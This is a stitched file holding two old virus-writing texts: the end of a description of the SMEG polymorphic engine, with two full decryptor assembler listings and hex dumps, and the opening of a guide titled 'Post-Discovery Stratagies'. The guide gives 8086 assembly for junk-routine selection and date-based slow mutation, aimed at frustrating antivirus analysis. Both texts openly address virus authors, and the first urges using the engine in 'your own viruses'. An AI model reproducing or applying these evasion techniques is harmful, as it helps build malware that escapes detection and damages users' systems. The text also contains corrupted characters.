AND DX,DX ;Real part of the decryptor!
JNZ main_loop ;Real part of the decryptor!
As you should be able to see, quite a mess!! But, still executable code.
It is essential that any junk code generated by the Polymorph Engine is
executable, as it is going to be peppered throughout the decryptor. Note, in
this example, that some of the junk instructions use registers that we are
using in the decryptor! This is fine, providing the values in these
registers aren't destroyed. Also note, that now we have random registers and
random instructions on each generation it makes signature scanning (even for
the clever signature scanners) impossible! Instead, an HEURISTIC method must
be used, which can lead to false alarms.
So, a Polymorph Engine can be summed up into three major parts:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
1 .. The random number generator.
2 .. The junk code generator.
3 .. The decryptor generator.
There are other discrete parts but these three are the ones where most of the
work goes on!
How does it all work? Well, SMEG goes about generating random decryptors in
the following way:
1 .. Chooses a random selection of registers to use for the decryptor.
Leaving the remaining registers as "junk" registers for the junk code
generator.
2 .. Chooses one of the compressed pre-coded decryptors.
3 .. Goes into a loop generating the real decryptor, peppered with junk
code.
To understand how the selected registers are slotted into the decryptors and
the junk code you must look at the 8086 instructions from a binary level:
XOR AX,AX = 00110001 11000000
XOR AX,CX = 00110001 11001000
XOR AX,DX = 00110001 11010000
XOR AX,BX = 00110001 11011000
You should be able to see a pattern in the binary code for these four 8086
instructions? Well, all 8086 instructions follow logical patterns, and it is
these patterns that tell the 8086 processor which registers/addressing mode
to use for a particular instruction. The total amount of instruction formats
and the precise logic regarding the patterns is too complex to go into here.
However, all good 8086 tutorials/reference guides will explain in full.
SMEG exploits this pattern logic to generate junk code and decryptors with
random registers, as the patterns directly relate to the registers Etc.
SMEG generates junk code in the following way:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Inside SMEG there is a table of the basic binary patterns for all of the 8086
instruction set, but with one important difference, all the register/address
mode bits are zero. This is called the SKELETON INSTRUCTION TABLE. The
table also contains various other bytes used by SMEG to determine the
relevant bit positions to "plug in" the register bit patterns. These
patterns are plugged in via the logic processes OR and AND. Using this
method, SMEG can generate endless amounts of random 8086 instructions without
destroying any of the registers used by the decryptor proper.
SMEG also contains some discrete logic for producing false CALLS to dummy
subroutines and also false conditional JMPS around the junk code.
SMEG generates the decryptor proper in the following way:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Inside SMEG there is a table containing a selection of common 8086
instructions used in decryptors, such as XOR [index],reg Etc. These are,
again, stored in SKELETON FORM with some control bytes used by the decryptor
generator. Also, inside SMEG, there are several pre-coded decryptors stored
in a compressed form. On average, a complete decryptor can be described to
the decryptor generator in as few as 11 bytes and adding to the list of
pre-coded decryptors is both painless and economical with space!
SMEG generates the Polymorphed decryptor in the following way:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
First it chooses, at random, one of the pre-coded compressed decryptors.
Next it goes into a loop uncompressing each decryptor instruction, plugging
in the required registers, storing it and then generating (for each real
instruction) a random amount of random instructions. This loop repeats until
the complete decryptor has been constructed. The final result is a random
size, random register, random patterned decryptor!
It should also be noted that whenever SMEG generates an INDEXed instruction
it uses either SI, DI or BX at random, also it sometimes uses a random offset.
For example, say the encrypted code started at address 10h, the following
could be used to index this address:
MOV SI,10h ;Start address
MOV AL,[SI] ;Index from initial address
But sometimes SMEG will generate something like the following, again based on
the encrypted code starting at address 10h:
MOV DI,0BFAAh ;Indirect start address
MOV AL,[DI+4066h) ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!
These indexed and initial values are picked at complete random, and the
examples of 0BFAAh and 4066h are valid, but next time they will be completely
different!
The following are two decryptors that were generated with my SMEG Polymorph
Engine. It should be noted that I generated 4000 examples with no two alike!
Unfortunately I ran out of hard drive space! But it is fairly safe to say
that the total number of decryptor combinations would run into the BILLIONS!
All the lines marked with ";junk" in the following listings indicate random
junk instructions that were inserted throughout the actual decryptor, note
that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as
well as general junk conditional jumps! All lines marked with a * indicate
an actual part of the decryptor proper. I chose the two generations shown
because their sizes were similar, 386 and 480 bytes. SMEG produces
decryptors ranging in size from as little as 288 to as much as 1536 bytes.
Even if two decryptors are generated that are the same size the chances of
them being the same are, literally, billions to one!
;Assembler listing for decryptor 1, size 368 bytes.
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;Size of the encrypted code was 07DBh (2011 bytes)
;The encrypted code started at address 0270h
;This decryptor was generated to use the following registers:
;
; DX = Count of bytes in the encrypted code
; BX = Index pointing to the encrypted code
; AL = The encryption key
; CL = General work register
0100 JNS 0103 ;junk
0102 CLD ;junk
0103 SAR SI,CL ;junk
0105 CMP BP,0708 ;junk
0109 STC ;junk
010A JG 010E ;junk
010C OR SI,CX ;junk
010E XOR DI,3221 ;junk
0112 ADD BP,0805 ;junk
0116 AND BP,3512 ;junk
011A SHR SI,CL ;junk
011C MOV SI,1B04 ;junk
0120 SAR DI,CL ;junk
0122 ADC SI,2506 ;junk
0126 ADC DI,1F11 ;junk
012A SBB BP,[0F3E] ;junk
012E CMP BP,3F1E ;junk
0132 DEC SI ;junk
0133 NOT DI ;junk
0135 AND SI,083D ;junk
0139 INC SI ;junk
013A SBB DI,0103 ;junk
013E MOV DX,1791 ;* Set up the COUNT register
; 3x Actual number of bytes!
0141 CLD ;junk
0142 JB 0146 ;junk
0144 TEST SI,AX ;junk
0146 SBB DI,SP ;junk
0148 TEST DI,[251B] ;junk
014C TEST CL,[SI] ;junk
014E SHL BP,1 ;junk
0150 MOV BX,017D ;junk
0153 CMC ;junk
0154 MOV DI,1218 ;junk
0158 JO 015C ;junk
015A RCR DI,1 ;junk
015C STC ;junk
015D CMP BP,DI ;junk
015F MOV AX,CS ;* Get CODE SEG in AX
0161 TEST CH,[BX+17] ;junk
0164 SBB BP,3107 ;junk
0168 INC DI ;junk
0169 RCR BP,1 ;junk
016B MOV DS,AX ;* Make DATA SEG = CODE SEG
016D ADD DI,[3B04] ;junk
0171 MOV AL,50 ;* Set up decrypt KEY reg
0173 JNB 0179 ;junk
0175 MOV SI,1439 ;junk
0179 JB 017D ;junk
017B ADC DI,AX ;junk
017D JMP 0185 ;junk
0180 MOV BP,1B36 ;junk
0184 RET ;junk
0185 RCR SI,1 ;junk
0187 MOV BX,842D ;* Set up the INDEX register
018A SUB SI,CX ;junk * Decryptor MAIN LOOP
018C OR DI,0B0F ;junk
0190 MOV BP,1E3E ;junk
0194 RCL DI,CL ;junk
0196 SUB BP,2E12 ;junk
019A ADD DI,[2E2A] ;junk
019E ROL SI,CL ;junk
01A0 MOV CL,[BX+7E43] ;* Get next encrypted byte
; NOTE: original index 842Dh plus 7E43h =
; 10270h AND FFFFh = 0270h! Which is the
; start of the Encrypted code!
01A4 JZ 01AC ;junk
01A6 TEST BH,[DI+2B3B] ;junk
01AA CMP [BP+SI],DL ;junk
01AC ROL DI,1 ;junk
01AE SBB DI,263A ;junk
01B2 DEC DX ;* Dec the COUNT register (x1)
01B3 CALL 0180 ;junk
01B6 MOV DI,CX ;junk
01B8 ADC BP,282E ;junk
01BC SUB CL,AL ;* Decrypt byte using KEY reg
01BE MOV SI,372A ;junk
01C2 TEST BP,3A10 ;junk
01C6 CALL 0180 ;junk
01C9 ADC SI,1317 ;junk
01CD CLD ;junk
01CE INC AX ;* Increase the KEY reg
01CF XOR SI,203D ;junk
01D3 JMP 01E1 ;junk
01D6 DEC DI ;junk
01D7 CMC ;junk
01D8 SUB BP,[3624] ;junk
01DC XOR SI,0200 ;junk
01E0 RET ;junk
01E1 CMP [SI+13],BH ;junk
01E4 SUB DX,0001 ;* Dec the COUNT register (x2)
01E8 CMP AX,0517 ;junk
01EC SUB BP,2816 ;junk
01F0 AND SI,0807 ;junk
01F4 SUB SI,2E03 ;junk
01F8 ROR BP,1 ;junk
01FA INC DI ;junk
01FB RCR SI,CL ;junk
01FD TEST CH,DH ;junk
01FF SUB BP,1026 ;junk
0203 MOV [BX+7E43],CL ;* Store the decrypted byte
0207 JNB 020D ;junk
0209 XOR DI,1B30 ;junk
020D CLD ;junk
020E ADD SI,3C38 ;junk
0212 INC BX ;* Increase the INDEX reg
0213 XOR DI,0B2C ;junk
0217 JMP 022F ;junk
021A OR BP,1C18 ;junk
021E JLE 0221 ;junk
0220 DEC BP ;junk
0221 ADC SI,0E32 ;junk
0225 AND DI,1522 ;junk
0229 CMP [BP+SI+36],BH ;junk
022C ROL SI,1 ;junk
022E RET ;junk
022F SHL DI,1 ;junk
0231 SHR DI,1 ;junk
0233 DEC DX ;* Dec the COUNT register (x3)
; Hence the 3x original size!
0234 JNZ 023F ;* Not zero then jump to 023Fh
0236 TEST CL,[BP+DI] ;junk
0238 ADC BP,012D ;junk
023C JMP 025B ;* Finished decrypting!
023F INC BP ;junk
0240 JNB 0246 ;junk
0242 CMP BX,0E2E ;junk
0246 TEST DI,SI ;junk
0248 SBB SI,3233 ;junk
024C MOV CX,018A ;* Set address of MAIN LOOP
024F ROL DI,1 ;junk
0251 SUB DI,BX ;junk
0253 SHR DI,1 ;junk
0255 TEST BL,[BX+DI+1C2E] ;junk
0259 PUSH CX ;* Stack LOOP address
025A RET ;* RETurn to MAIN LOOP
025B MOV SI,211F ;junk
025F CMP BL,[BX+DI] ;junk
0261 SUB BP,2D33 ;junk
0265 MOV BP,3735 ;junk
0269 XOR SI,SI ;junk
026B MOV BP,[0A38] ;junk
026F INC DI ;junk
0270 The encrypted code starts here.
;****************** End of decryptor 1 assembler listing. *******************
;Assembler listing for encryptor 2, size 480 bytes.
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;Size of the encrypted code was 07DBh (2011 bytes)
;The encrypted code started at address 02E0h
;This decryptor was generated to use the following registers:
;
; AX = Count of bytes in the encrypted code
; BX = Index pointing to the encrypted code
; DL = The encryption key
; CL = General work register
0100 NOT SI ;junk
0102 TEST CH,[BP+DI+0F] ;junk
0105 INC DI ;junk
0106 CLD ;junk
0107 ADC DI,132A ;junk
010B JPE 0111 ;junk
010D OR DI,332E ;junk
0111 INC SI ;junk
0112 TEST AL,CH ;junk
0114 JMP 0120 ;junk
0117 JPE 011D ;junk
0119 CMP DX,1909 ;junk
011D RCR DI,CL ;junk
011F RET ;junk
0120 INC DI ;junk
0121 TEST DI,BP ;junk
0123 JMP 0133 ;junk
0126 TEST DI,0E24 ;junk
012A TEST DI,093A ;junk
012E AND DI,SP ;junk
0130 CMP [BP+SI],BH ;junk
0132 RET ;junk
0133 MOV BP,0C28 ;junk
0137 TEST DH,CH ;junk
0139 TEST BP,1C16 ;junk
013D ROR BP,CL ;junk
013F JZ 0145 ;junk
0141 TEST DH,[BX] ;junk
0143 ADD DI,SP ;junk
0145 TEST CL,[SI+3435] ;junk
0149 MOV BP,2E08 ;junk
014D TEST CX,DI ;junk
014F CLD ;junk
0150 MOV SI,3831 ;junk
0154 AND BP,363E ;junk
0158 ROR DI,CL ;junk
015A CLC ;junk
015B JNS 0163 ;junk
015D SAR SI,1 ;junk
015F SBB DI,3308 ;junk
0163 SBB DI,362B ;junk
0167 MOV AX,07DB ;* Set up the COUNT register
016A AND DI,0F1E ;junk
016E JMP 0182 ;junk
0171 MOV DI,2F31 ;junk
0175 CMP CX,2212 ;junk
0179 SBB SI,2E14 ;junk
017D TEST BL,[SI+341D] ;junk
0181 RET ;junk
0182 CMP BH,19 ;junk
0185 MOV BX,B977 ;* Set up the INDEX register
0188 TEST AL,[DI+072C] ;junk
018C TEST DI,2306 ;junk
0190 SHR SI,1 ;junk
0192 MOV DX,CS ;* Get CODE SEG in DX
0194 CALL 0171 ;junk
0197 TEST SI,1410 ;junk
019B CLC ;junk
019C SHL DI,CL ;junk
019E MOV DS,DX ;* Make DATA SEG = CODE SEG
01A0 NEG SI ;junk
01A2 CALL 0171 ;junk
01A5 TEST CH,[BP+DI+070F] ;junk
01A9 MOV DL,8D ;* Set decrypt KEY register
01AB MOV DI,3A30 ;junk
01AF JMP 01B9 ;junk
01B2 JBE 01B5 ;junk
01B4 INC DI ;junk
01B5 NOT DI ;junk
01B7 CMC ;junk
01B8 RET ;junk
01B9 XOR CX,DX ;junk
01BB CALL 01B2 ;junk * Decryptor MAIN LOOP
01BE TEST SI,3029 ;junk
01C2 INC DI ;junk
01C3 SBB DI,1E19 ;junk
01C7 MOV DI,0038 ;junk
01CB RCR DI,CL ;junk
01CD MOV BP,1809 ;junk
01D1 NEG BYTE PTR [BX+4969] ;* NEG the byte at [BX + 4969]
; NOTE: original index B977h plus
; 4969h = 102E0h AND FFFFh = 02E0h!
; Which is the start of the
; encrypted code!
01D5 TEST BP,2A37 ;junk
01D9 CMP CX,2B37 ;junk
01DD JMP 01E2 ;junk
01E0 DEC DI ;junk
01E1 RET ;junk
01E2 MOV CL,[BX+4969] ;* Get the NEGed byte into CL
01E6 CMC ;junk
01E7 ROR DI,CL ;junk
01E9 INC BP ;junk
01EA TEST DI,281E ;junk
01EE JZ 01F3 ;junk
01F0 TEST BH,[BX+DI+05] ;junk
01F3 MOV DI,160C ;junk
01F7 SUB BP,BP ;junk
01F9 XOR CX,DX ;* XOR byte with the KEY
01FB TEST BL,[BP+DI+3C] ;junk
01FE JNB 0204 ;junk
0200 ADD BP,0A13 ;junk
0204 CMP [BX+DI],CL ;junk
0206 CALL 01E0 ;junk
0209 CALL 01E0 ;junk
020C DEC DI ;junk
020D AND DI,073A ;junk
0211 DEC AX ;* Decrease the COUNT register
0212 XOR DI,2036 ;junk
0216 NEG BP ;junk
0218 ADC DI,SP ;junk
021A CMC ;junk
021B CMP BL,[BX+SI] ;junk
021D DEC DX ;* Decrease the KEY register
021E ADC BP,1821 ;junk
0222 SHL DI,CL ;junk
0224 CMP AX,1816 ;junk
0228 SHL DI,1 ;junk
022A CMP AL,[BP+DI+1A] ;junk
022D MOV SI,1819 ;junk
0231 ADD SI,063B ;junk
0235 DEC DX ;* Decrease the KEY register
0236 SUB BP,0028 ;junk
023A AND BP,1930 ;junk
023E CLD ;junk
023F ADC BP,2D1D ;junk
0243 SAR DI,CL ;junk
0245 XCHG CX,DX ;* Swap CX & DX
0247 TEST CX,DX ;junk
0249 MOV SI,CX ;junk
024B XOR SI,030D ;junk
024F SUB DI,311C ;junk
0253 XCHG DL,[BX+4969] ;* Swap [index] & DL
; NOTE: This restores the decrypted byte!
0257 ADD DI,0E13 ;junk
025B CMP BL,[BP+DI+33] ;junk
025E CLD ;junk
025F NOT SI ;junk
0261 MOV SI,3F1C ;junk
0265 XCHG CX,DX ;* Swap CX & DX, restoring the KEY in DL
0267 MOV SI,221A ;junk
026B OR BP,0D2C ;junk
026F MOV DI,231B ;junk
0273 ADD BX,0001 ;* Increase the INDEX register
0277 JMP 0288 ;junk
027A ADC BP,AX ;junk
027C TEST BL,[DI+19] ;junk
027F TEST DI,0321 ;junk
0283 NEG DI ;junk
0285 ROL SI,CL ;junk
0287 RET ;junk
0288 SBB BP,1B0D ;junk
028C XOR BP,2A23 ;junk
0290 CMP DL,3A ;junk
0293 TEST BH,[DI] ;junk
0295 AND AX,AX ;* Test if COUNT is zero
0297 JNZ 02AD ;* Jump to 02ADh if not
0299 CALL 027A ;junk
029C AND DI,291F ;junk
02A0 JA 02A6 ;junk
02A2 MOV DI,0514 ;junk
02A6 ADC SI,1F2A ;junk
02AA JMP 02BC ;* Finished decrypting
02AD JMP 02B2 ;junk
02B0 CLC ;junk
02B1 RET ;junk
02B2 SHL DI,CL ;junk
02B4 CLD ;junk
02B5 ADD SI,2C1A ;junk
02B9 JMP 01BB ;* Jump to MAIN LOOP
02BC TEST BH,BL ;junk
02BE MOV DI,210C ;junk
02C2 SUB SI,1600 ;junk
02C6 CALL 02B0 ;junk
02C9 XOR SI,2F1D ;junk
02CD MOV BP,0430 ;junk
02D1 TEST BH,[DI+362A] ;junk
02D5 OR DI,1C21 ;junk
02D9 STC ;junk
02DA CMP DI,2828 ;junk
02DE CLC ;junk
02DF DEC BP ;junk
02E0 The encrypted code starts here.
;****************** End of decryptor 2 assembler listing. *******************
The following are the HEX dumps for both of the above decryptors, decryptor 1
is on the left and 2 is on the right. These dumps are to show that it would
be very difficult to find a signature that could be applied to each of these
decryptors in the hope of detecting them both, this is the main purpose of a
Polymorph Engine! To detect, therefore, you would have to write a program
that tries to use intelligence to work out if what it is looking at is a
Polymorph generated decryptor. This is prone to false alarms or, in certain
cases, missing the decryptor totally!
HEX DUMP OF ENCRYPTOR 1, 368 bytes HEX DUMP OF ENCRYPTOR 2, 480 bytes
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
7901FCD3FE81FD0807F97F020BF181F7 F7D6846B0F47FC81D72A137A0481CF2E
213281C5050881E51235D3EEC7C6041B 334684C5E909007A0481FA0919D3DFC3
D3FF81D6062581D7111F1B2E3E0F81FD 4785FDE90D00F7C7240EF7C73A0923FC
1E3F4EF7D781E63D084681DF0301BA91 383AC3C7C5280C84F5F7C5161CD3CD74
17FC720285F01BFC853E1B25840CD1E5 04843703FC848C3534C7C5082E85CFFC
BB7D01F5C7C718127002D1DFF939FD8C C7C6313881E53E36D3CFF87906D1FE81
C8846F1781DD073147D1DD8ED8033E04 DF083381DF2B36B8DB0781E71E0FE911
3BB0507304C7C63914720213F8E90500 00C7C7312F81F9122281DE142E849C1D
C7C5361BC3D1DEBB2D842BF181CF0F0B 34C380FF19BB77B984852C07F7C70623
C7C53E1ED3D781ED122E033E2A2ED3C6 D1EE8CCAE8DAFFF7C61014F8D3E78EDA
8A8F437E740684BD3B2B3812D1C781DF F7DEE8CCFF84AB0F07B28DC7C7303AE9
3A264AE8CAFF8BF981D52E282AC8C7C6 0700760147F7D7F5C333CAE8F4FFF7C6
2A37F7C5103AE8B7FF81D61713FC4081 29304781DF191EC7C73800D3DFC7C509
F63D20E90B004FF52B2E243681F60002 18F69F6949F7C5372A81F9372BE90200
C3387C1381EA010081F8170581ED1628 4FC38A8F6949F5D3CF45F7C71E287403
81E6070881EE032ED1CD47D3DE84EE81 847905C7C70C162BED33CA845B3C7304
ED2610888F437E730481F7301BFC81C6 81C5130A3809E8D7FFE8D4FF4F81E73A
383C4381F72C0BE9150081CD181C7E01 074881F73620F7DD13FCF53A184A81D5
4D81D6320E81E72215387A36D1C6C3D1 2118D3E781F81618D1E73A431AC7C619
E7D1EF4A7509840B81D52D01E91C0045 1881C63B064A81ED280081E53019FC81
730481FB2E0E85FE81DE3332B98A01D1 D51D2DD3FF87CA85CA8BF181F60D0381
C72BFBD1EF84992E1C51C3C7C61F213A EF1C318697694981C7130E3A5B33FCF7
1981ED332DC7C5353733F68B2E380A47 D6C7C61C3F87CAC7C61A2281CD2C0DC7
C71B2381C30100E90E0013E8845D19F7
C72103F7DFD3C6C381DD0D1B81F5232A
80FA3A843D23C07514E8DEFF81E71F29
7704C7C7140581D62A1FE90F00E90200
F8C3D3E7FC81C61A2CE9FFFE84FBC7C7
0C2181EE0016E8E7FF81F61D2FC7C530
0484BD2A3681CF211CF981FF2828F84D
Now read SMEG.TXT to see how to use SMEG.OBJ (SMEG v0.3) in your own viruses
and programs!
<EFBFBD><EFBFBD><EFBFBD> (C) The Black Baron <20><><EFBFBD>

343
textfiles.com/virus/polymorph.txt Normal file
View File

@@ -0,0 +1,343 @@
POST - DISCOVERY - STRATAGIES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Sepultura
-USE-ANARCHY-TO-GET-WHAT-YOU-WANT-
Introduction
~~~~~~~~~~~~
Most virii these days, take many Pre-Discovery precautions. This
simply means that they take precautions to avoid discovery, assuming the
virus has not already been discovered. Common examples of Pre-Discovery
Stratagies are File Stealth, Sector Stealth, and MCB stealth (i.e any
stealth). These mechanisms are used to stop the virus being discovered,
but once it has been discovered, and is in the hands of the AV, they're
essentially useless. It is only a matter of days (or even hours) until a
suitable scan string or algorithm has been determined, for inclusion in
to there AV programs.
There is how ever, a solution: POST DISCOVERY STRATAGIES. These
are mechanisms that instead of serving the purpose of hiding the virus
from detection, make the virus harder to analyse, and hence determine a
scan string or detection algorithm. To be entirely honest, the previous
statement is not completely correct - in order to take advantage of any
of these methods your virus can not have a scan string - without atleast
polymorphism, Post Discovery Stratagies ARE USELESS. This document will
be divided in to three main sections: Polymorphism
Anti-Bait Techniques
Anti-Debugger Techniques.
I have decided to do it in that particular order, as it follows
my master scheme, which in my opinion takes maximum advantage of Post
Discovery Stratagies, and which I will outline throughout this document.
I have supplied example code fragments throughout this document,
several full programs in the Anti - Debugger section, as well as a bait
maker in the Anti-Bait section, so you can test your Anti-Bait routines.
Polymorphism
~~~~~~~~~~~~
-I-USED-THE-ENEMY-I-USED-ANARCHY-
This section is not intended to tell you what a polymorphic
engine is, nor will it tell you how to code one. If you do not know
either of these, you should read this when you do, or alternatively you
could read this, and take the explained methods in to account when you
do code one.
The thing you have to remember is that the AV people need to
devise an alogrithm that will detect near to 100% of their samples, but
at the same time, have only a small number of false positives. Your job,
is ofcourse, to stop them from doing this.
Polymorphism: The Obvious
~~~~~~~~~~~~~~~~~~~~~~~~~
One of the most obvious things that would you help in your Post
Discovery Stratagies, is to make the decryptors and junk as varied as is
possible. This way, they cannot use an algorithm that traces through the
code, and concludes that the file is not infected, as soon as an opcode
is encounted that can't be generated by your engine. What might not seem
to obvious, is that although your engine should be able to CREATE a wide
variety of junk instructions, it should not USE a wide variety of junk
instructions in each decryptor. This might seem strange, but it can be
very useful in delaying the AV's efforts. This is because there are two
methods that the AV will use to analyse your engine:
1. They will disassemble the virus and analyse the engine, to see
what it can generate in all possible cases.
2. They will infect 10s of thousands of bait files to see what it
generates in all possible cases.
The first of these can be countered by keeping the actual engine
encrypted, independently of the virus, and then keeping the decryptor
protected - using the methods outlined in Section 3 (Anti - Debugger
Techniques).
The second method can be countered using the techniques that
will be discussed in this section (Polymorphism), and Section 2 (Anti -
Bait Techniques).
By using only a very small variety of the large number of junk
instructions that your engine can generate, when the AV people look at
the sample bait files, they will only see a small selection of the junk
that your virus can really create. Because your polymorphic engine is so
heavily encrypted / armoured, they will not have time to disassemble it,
and will have to make their judgements based on the bait files. However,
since the decryptors will only have a limited selection of all possible
cases, they could easilly make the mistake of basing their algorithm on
just those decryptors, and release an incomplete algorithm. Of course
they will not realise their mistake until it is to late. Let us look at
the following code as an example:
------------------------------------------------------------------------
;Please note that this is simply a code fragment. junk? are supposed to
;be sub-procedures that create different junk opcodes, while get_rand is
;supposed to be a sub-procedure that returns a random number in AX
;between 0 and AX. It is assumed that ES = DS = CS.
choose_junk_routines:
mov cx,5 ;This code should be run only once,
mov ax,0Ah ;when the virus installs it self TSR.
call get_rand ;It will select 5 out of 15 junk
add ax,ax ;routines to call for the decryptors.
xchg si,ax ;Because it is only run once, all
add si,offset main_junk_tbl ;decryptors will only use those junk
mov di,offset junk_tbl ;routines 'til the system is rebooted
rep movsw ;and the virus re-installed.
...
main_junk_tbl: ;This is a table, listing all
dw offset junk0 ;possible junk routines.
dw offset junk1
dw offset junk2
dw offset junk3
dw offset junk4
dw offset junk5
dw offset junk6
dw offset junk7
dw offset junk8
dw offset junk9
dw offset junkA
dw offset junkB
dw offset junkC
dw offset junkD
dw offset junkE
junk_tbl: ;This is a table, to store the 5 junk
dw 0,0,0,0,0 ;routines to actually be used.
...
put_junk:
mov ax,4 ;This routine when, called will
call get_rand ;generate 1 junk instruction.
add ax,ax ;It will call 1 of the 5 routines
xchg si,ax ;stored in junk_tbl.
lodsw
call ax
ret
------------------------------------------------------------------------
The above code fragment, will ensure that all files infected in
any 1 session, will only use 5 out of the 15 possible junk instructions.
Polymorphism: Slow Mutation
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The above techniques work well, but can be even more effective,
when used in conjucntion with slow mutation. Slow Mutation basically
means that instead of making certain descisions based on random numbers,
you make the descisions based on relatively static values. The most
common values used for this, are from the date (i.e. the month or day of
the month). For example, let us imagine that the sub - procedure
'choose_junk_routines' in the previous example, was replaced with this:
------------------------------------------------------------------------
choose_junk_routines:
mov ah,2a ;ah=2a/i21 (get system date)
int 21
mov dl,0
xchg dh,dl
xchg dx,ax
cwd ;ax=month, dx=0
mov cx,6
div cx ;divide month by 6
xchg dx,ax ;ax = remainder (i.e. 0 - 5)
add ax,ax
xchg si,ax
add si,offset main_junk_tbl
mov di,offset junk_tbl
mov cx,5
rep movsw
------------------------------------------------------------------------
The advantage of using this method, is that the same set of five
junk routines will be used for a ENTIRE MONTH. With the previous example
if the AV was to make some bait files, and look at them, and think that
your virus only generated five different junk instructions, and then ran
the bait maker again, another time, after resetting the system, he/she
would get bait file with (probably) a different set of junk instructions
in the decryptor. Because of this, he/she would probably catch on. This
is important to note, because they will have to make a set of bait files
to devise the algorithm, and then at least another set to test it. If
you based the 5 instructions on the month, and armoured the choose_junk_
routines procedure, then they would get the same 5 instructions, because
they would be all produced in the same month, and would not easily catch
